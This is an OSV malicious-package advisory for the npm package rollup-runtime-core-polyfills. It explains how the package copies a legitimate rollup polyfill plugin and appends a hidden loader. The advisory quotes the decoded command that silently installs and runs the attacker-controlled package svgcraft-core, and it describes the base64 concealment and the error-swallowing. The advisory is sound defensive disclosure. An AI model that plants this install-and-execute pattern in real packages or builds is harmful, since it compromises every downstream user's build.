MAL-2026-11145

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/rollup-runtime-core-polyfills/MAL-2026-11145.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-11145
Published
2026-07-28T13:39:23Z
Modified
2026-07-28T14:37:10.151798772Z
Summary
Malicious code in rollup-runtime-core-polyfills (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (868d4b253cfa762cd40d8064b3a99cbed00203fbed19402d5033551720690199)

The package presents itself as a rollup polyfill plugin and copies the source of rollup-plugin-polyfill-node (repository field points to FredKSchott/rollup-plugin-polyfill-node), but dist/index.js appends a top-level block that decodes a base64 literal to the command npm install svgcraft-core --no-save --silent --no-audit --no-fund, spawns it via child_process.spawn, and on completion calls require('svgcraft-core').getPlugin()() — the module name is also base64-encoded. This runs on every require()/import of the plugin, so any build that consumes this package pulls and executes whatever code is currently published under the attacker-controlled npm name svgcraft-core. The base64 wrapping of both the shell command and the require target, and the try/catch that swallows errors, are deliberate concealment on top of a name that closely resembles the legitimate rollup-plugin-polyfill-node.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-010940",
            "sha256": "868d4b253cfa762cd40d8064b3a99cbed00203fbed19402d5033551720690199",
            "modified_time": "2026-07-28T13:39:23Z",
            "import_time": "2026-07-28T14:20:00.189988877Z",
            "versions": [
                "0.0.1"
            ],
            "source": "amazon-inspector"
        }
    ]
}
References
Credits

Affected packages

npm / rollup-runtime-core-polyfills

Package

Name
rollup-runtime-core-polyfills
View open source insights on deps.dev
Purl
pkg:npm/rollup-runtime-core-polyfills

Affected ranges

Affected versions

0.*
0.0.1

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/rollup-runtime-core-polyfills/MAL-2026-11145.json"
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
indicators 
{
    "evidence_files": [
        {
            "sha256": "84f28391ac2dd19625716a53c07c8f2f4fbc4ece87c3e9d865e2ee44e90e7ee6",
            "tlsh": "de81652614f639550373b6e89187ec71397b9393378ccb503e6c8370dfa11288a71ae5",
            "path": "dist/index.js"
        },
        {
            "sha256": "afba9a3f6228a756f92235022d39270440ce0b62d505a46812240f9987154da0",
            "tlsh": "a4317f30cd5d8ee31bd825ed9976a19390349ad749c4f84833a6421c4f4f66f10bda6f",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "filename": "rollup-runtime-core-polyfills-0.0.1.tgz",
            "hashes": {
                "sha1": "c844522917ee8a52e5dee2d21a25914706ba0106",
                "sha512_sri": "sha512-ZagFuUqfA7HdUvMTw+RD3CGeBJ61Y0J5nB/WrSnaYeft5vsvacnlrs0w911vVtIhxmLfZ2+/Ba30ul1Bgm42aQ=="
            }
        }
    ]
}